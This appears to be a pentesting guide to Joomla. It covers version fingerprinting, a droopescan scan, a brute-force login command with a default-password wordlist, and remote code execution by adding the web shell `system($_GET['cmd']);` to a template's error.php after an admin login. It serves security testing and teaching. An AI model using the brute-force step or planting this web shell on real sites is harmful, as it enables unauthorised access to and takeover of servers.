# Joomla
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### Joomla Statistics
Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Enumeration
### Discovery/Footprinting
* Check the **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Version
* In **/administrator/manifests/files/joomla.xml \_** you can see the version.\_
* In **/language/en-GB/en-GB.xml** you can get the version of Joomla.
* In **plugins/system/cache/cache.xml** you can see an approximate version.
### Automatic
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](/dashboard/network-services-pentesting/pentesting-web.md#cms-scanners) that can scan Joomla.
### Brute-Force
You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**.
1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu.
2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page.
3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows:
1. **`system($_GET['cmd']);`**
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id`
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---
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